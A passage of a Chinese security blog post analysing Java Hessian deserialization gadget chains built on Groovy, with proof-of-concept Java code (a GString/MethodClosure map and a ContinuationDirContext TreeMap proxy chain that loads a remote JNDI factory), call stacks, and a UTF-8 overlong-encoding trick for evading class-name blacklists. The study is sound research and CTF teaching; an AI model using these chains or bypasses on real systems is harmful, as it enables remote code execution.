Object[] values = {methodClosure};

GStringImpl gString = new GStringImpl(values, strings);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(gString, "any");

return hashMap;
}

因为涉及到groovy相关的知识,暂时看不懂很正常,先明白怎么利用就好。

当然,这里也可以调用其他方法,只要更改MethodClosure的构造方法即可。owner参数为对象,method参数为对象中的方法。由此可以触发二次反序列化,比如SignedObject#getObject,hutool.MapProxy#getBounds。还有其他的无参方法,比如JdbcRowSetImpl#getDatabaseMetaData触发JNDI。

java-chains可生成。

img

原生反序列化利用

从调用栈可知,只要触发GString#hashCode,GString#toString,Closure#call其中一个即可。

下面给出另外三种原生反序列化链。

1
2
3
4
<javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)>
-> <groovy.lang.GString: java.lang.String toString()>
-> <groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)>
-> <groovy.lang.Closure: java.lang.Object call(java.lang.Object)>

下面这个适用于常规的反序列化入口被禁用的情况:

不过我对这条链子有些怀疑

1
2
3
4
5
6
7
8
9
<javax.swing.JCheckBox: void readObject(java.io.ObjectInputStream)>
-> <javax.swing.JCheckBox: void updateUI()>
-> <javax.swing.AbstractButton: void setUI(javax.swing.plaf.ButtonUI)>
-> <javax.swing.JComponent: void setUI(javax.swing.plaf.ComponentUI)>
-> <javax.swing.JComponent: void uninstallUIAndProperties()>
-> <javax.swing.JComponent: void putClientProperty(java.lang.Object,java.lang.Object)>
-> <groovy.lang.GString: java.lang.String toString()>
-> <groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)>
-> <groovy.lang.Closure: java.lang.Object call()>

img

img

这里只允许UIClientPropertyKey的子类触发toString,但是GString不是其子类,应该没法进入这个if才对。

下面这个适用于GString被禁用:

1
2
3
4
5
6
<javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)>
-> <com.sun.org.apache.xerces.internal.impl.xpath.regex.Token: java.lang.String toString()>
-> <com.sun.org.apache.xerces.internal.impl.xpath.regex.Token$UnionToken: java.lang.String toString(int)>
-> <groovy.lang.ListWithDefault: java.lang.Object get(int)>
-> <groovy.util.ObservableList: java.lang.Object set(int,java.lang.Object)>
-> <groovy.lang.Closure: java.lang.Object call(java.lang.Object)>

ContinuationDirContext链

https://cn-sec.com/archives/2251706.html

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/GroovyBased.java groovyRef链,适用于 <8u121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Object groovyRef(String factory, String factoryLocation) throws Exception{
Reference reference = new Reference("Calc", factory, factoryLocation);

CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(reference);
Class<?> aClass = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
declaredConstructor.setAccessible(true);
Object c1 = declaredConstructor.newInstance(cpe, new Hashtable<>());

MethodClosure methodClosure = new MethodClosure(c1,"listBindings");

ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "compareTo");

Object o = Proxy.newProxyInstance(convertedClosure.getClass().getClassLoader(), new Class[]{Comparable.class}, convertedClosure);

Class<?> e = Class.forName("java.util.TreeMap$Entry");
Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor1.setAccessible(true);
// 根键值对,这里的键会作为最终调用的方法的参数
Object a = declaredConstructor1.newInstance("a", 1, null);

Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor2.setAccessible(true);
// 作为根节点的右子树,键为动态代理
Object o1 = declaredConstructor2.newInstance(o, 2, a);

Class<?> t = Class.forName("java.util.TreeMap");
TreeMap treeMap = (TreeMap) t.newInstance();

Field size = t.getDeclaredField("size");
size.setAccessible(true);
size.set(treeMap, 2);

Field modCount = t.getDeclaredField("modCount");
modCount.setAccessible(true);
modCount.set(treeMap, 2);

Field root = t.getDeclaredField("root");
root.setAccessible(true);
root.set(treeMap, a);

// 设置根节点的右子树
Field right = e.getDeclaredField("right");
right.setAccessible(true);
right.set(a, o1);

return treeMap;
}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:296)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.listBindings(ContinuationContext.java:130)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90)
at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324)
at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1207)
at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1074)
at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1016)
at groovy.lang.Closure.call(Closure.java:423)
at org.codehaus.groovy.runtime.ConvertedClosure.invokeCustom(ConvertedClosure.java:51)
at org.codehaus.groovy.runtime.ConversionHandler.invoke(ConversionHandler.java:103)
at com.sun.proxy.$Proxy0.compareTo(Unknown Source:-1)
at java.util.TreeMap.put(TreeMap.java:568)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:571)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2100)
at tools.HessianTools.hessianDeser(HessianTools.java:69)
at com.test.gadget.GroovyBased.main(GroovyBased.java:31)

这里重点关注org.codehaus.groovy.runtime.ConvertedClosure:

img

能够看到,51行处调用了call,getDelegate返回值可控,那么就和上面的groovy链一样了,且这里会传参args。那怎么调用到invokeCustom呢?去分析一下这个类。

其继承自ConversionHandler,最终实现了InvocationHandler,所以它是一个动态代理handler。如果将其作为handler放入动态代理,当调用任何方法时,就会触发其父类,也就是ConversionHandler的invoke方法:

img

只要调用的方法不是Object.java里的方法,就会调用invokeCustom。现在的问题在于,到哪里去调用这个动态代理的任意方法,并和Hessian反序列化串联起来。

这里的方法是,TreeMap#put调用compare。这里设置root节点为 “a”:1,设置其右孩子为 proxy:2,最后就会调用proxy.compareTo(“a”),从而触发invoke。

img

UTF8-OverlongEncoding绕过

https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

https://exp10it.io/posts/hessian-utf-8-overlong-encoding/

https://github.com/X1r0z/hessian-overlong-encoding

这个方法适用于绕过基于字符串匹配的黑名单,即通过分析序列化数据中的类名,来进行过滤。

简单说一下原理。

UTF8能够表示所有unicode字符,通过将unicode编码转化成1~4字节的字符来编码。ASCII码里的字符,原本都可以用一个字节进行表示,但可以通过补零的方式,让其转化成用两个字节表示的非法UTF8字符,且这种非法的字符,在Java里是能够被正常识别的,从而实现绕过。

效果如下:

img

img

可以看到编码后可读的类名就消失了。

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/CustomObjectOutputStream.java

可以直接替换成这个OutputStream来实现绕过。

java-chains里也提供了相关选项:

img

hessian相关的其他内容

由于篇幅原因,本文主要介绍hessian利用链相关的知识,但除此之外还有一些其他内容值得学习。

kryo反序列化

这个反序列化底层就是hessian,曾经在一些CTF题目中出现。

https://github.com/1diot9/CTFJavaChallenge/tree/main/2023/CISCN/seacloud

https://github.com/1diot9/CTFJavaChallenge/tree/main/2022/MRCTF/springcoffee

dubbo

https://xz.aliyun.com/news/14004

https://goodapple.top/archives/1193

nacos

https://xz.aliyun.com/news/13761

https://github.com/h0ny/NacosExploit

HessianServlet中的反序列化

https://xz.aliyun.com/news/17811

后面有时间可能会写文章补充这些内容。

后记

这里主要梳理了一下Hessian序列化与反序列化的流程;介绍了一下CTF中通过黑名单临时修复的方法;以及常见的一些利用链和绕过手法;最后提及了一些暂时没有整理,但是值得一看的其他Hessian知识点。

参考

超详细解析Hessian利用链-先知社区
从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造-先知社区
Hessian Groovy全新链条分析与黑名单绕过-先知社区
hessian反序列化漏洞之Groovy链(代码分析) | CN-SEC 中文网
UTF-8 Overlong Encoding导致的安全问题 | 离别歌
Hessian UTF-8 Overlong Encoding | X1r0z Blog
Hessian 反序列化知一二 | 素十八

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 153.9k 访客数 访问量